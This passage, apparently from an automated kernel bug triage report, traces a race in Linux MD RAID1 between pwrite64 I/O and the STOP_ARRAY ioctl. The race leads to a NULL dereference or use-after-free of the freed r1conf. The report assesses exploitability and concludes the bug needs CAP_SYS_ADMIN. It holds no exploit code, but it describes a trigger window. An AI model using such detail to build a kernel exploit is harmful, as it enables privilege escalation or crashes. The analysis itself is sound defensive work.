- Submits a bio to the MD device via `pwrite64`.
- The bio reaches `md_handle_request()`. It gets an active I/O reference
(`percpu_ref_tryget_live(&mddev->active_io)`).
- It calls `mddev->pers->make_request(mddev, bio)`, which resolves to
`raid1_make_request()`.
- `raid1_make_request()` calls `raid1_write_request()`.
- `raid1_write_request()` reads `struct r1conf *conf = mddev->private;` and
passes it to `wait_barrier(conf, sector)`.
- `wait_barrier()` calls `_wait_barrier(conf, idx)`, which attempts to
increment `conf->nr_pending[idx]`.
2. **Thread 2 (STOP_ARRAY ioctl):**
- Calls `ioctl(md_fd, STOP_ARRAY, 0)`.
- `md_ioctl()` handles `STOP_ARRAY`. It checks `capable(CAP_SYS_ADMIN)` and
then calls `mddev_lock(mddev)`. Note that `STOP_ARRAY` does **not** suspend
I/O (`md_ioctl_need_suspend(STOP_ARRAY)` returns false, so it doesn't call
`mddev_suspend_and_lock()`).
- It calls `do_md_stop(mddev, 0)`.
- `do_md_stop()` calls `__md_stop_writes(mddev)` and then `__md_stop(mddev)`.
- `__md_stop()` calls `mddev_detach(mddev)`, which flushes some things but
doesn't wait for `mddev->active_io` to drop to zero (unlike
`mddev_suspend()`).
- `__md_stop()` then frees `mddev->private` by calling `pers->free(mddev,
mddev->private)` (which is `raid1_free()`, freeing the `conf` structure) and
sets `mddev->private = NULL`.
If Thread 1 reads `mddev->private` exactly after Thread 2 sets it to `NULL`,
Thread 1 will pass `NULL` to `wait_barrier()`, resulting in a NULL pointer
dereference when accessing `conf->nr_pending` (offset 0x120). This matches the
crash report (`KASAN: null-ptr-deref in range
[0x0000000000000120-0x0000000000000127]`).
If Thread 1 reads `mddev->private` before Thread 2 frees it, but accesses it
after it is freed, it results in a Use-After-Free (UAF).
### Security Assessment
1. **Exploitability:**
- The crash manifests as a NULL pointer dereference, which typically causes a
kernel panic (Denial of Service).
- However, because `mddev->private` points to a dynamically allocated
structure (`struct r1conf`) that is freed via `kfree()` during `__md_stop()`,
there is a race window where the pointer is read before it is set to `NULL`,
but dereferenced after the memory has been freed. This constitutes a
Use-After-Free (UAF) vulnerability.
- UAF vulnerabilities in the kernel are generally considered exploitable for
privilege escalation or memory corruption, assuming an attacker can control
the timing and reallocate the freed memory. Thus, it is marked as
Exploitable.
2. **Denial of Service:**
- Triggering the bug reliably crashes the kernel (General Protection Fault /
NULL pointer dereference panic), leading to a complete Denial of Service.
3. **Accessibility (Unprivileged / User Namespaces):**
- The `STOP_ARRAY` ioctl is protected by `md_ioctl_valid()`, which explicitly
checks `capable(CAP_SYS_ADMIN)`.
- The `capable()` function checks for the capability in the initial user
namespace, not the current user namespace (which would be `ns_capable()`).
- Therefore, an unprivileged user cannot trigger this bug, even if they
create a new user namespace. Root privileges in the initial namespace are
required to issue the `STOP_ARRAY` ioctl.
4. **Other Triggers (Network, Peripheral, Filesystem, VM Guest/Host):**
- The bug is located in the MD RAID management code. It requires local access
to the block device and the ability to issue specific ioctls (`STOP_ARRAY`).
- It cannot be triggered remotely via network packets, by plugging in a
peripheral, by mounting a malicious filesystem, or from a VM guest (unless
the guest is explicitly given raw access to the host's MD device and
privileges, which is not a standard or secure configuration).
### Conclusion
The bug is a Use-After-Free / NULL pointer dereference in the MD RAID subsystem
caused by a race condition between I/O requests and the `STOP_ARRAY` ioctl.
While it is technically exploitable (UAF) and causes a Denial of Service, it is
not accessible to unprivileged users or from within user namespaces, as it
requires `CAP_SYS_ADMIN` in the initial namespace to trigger the necessary
ioctl.]
|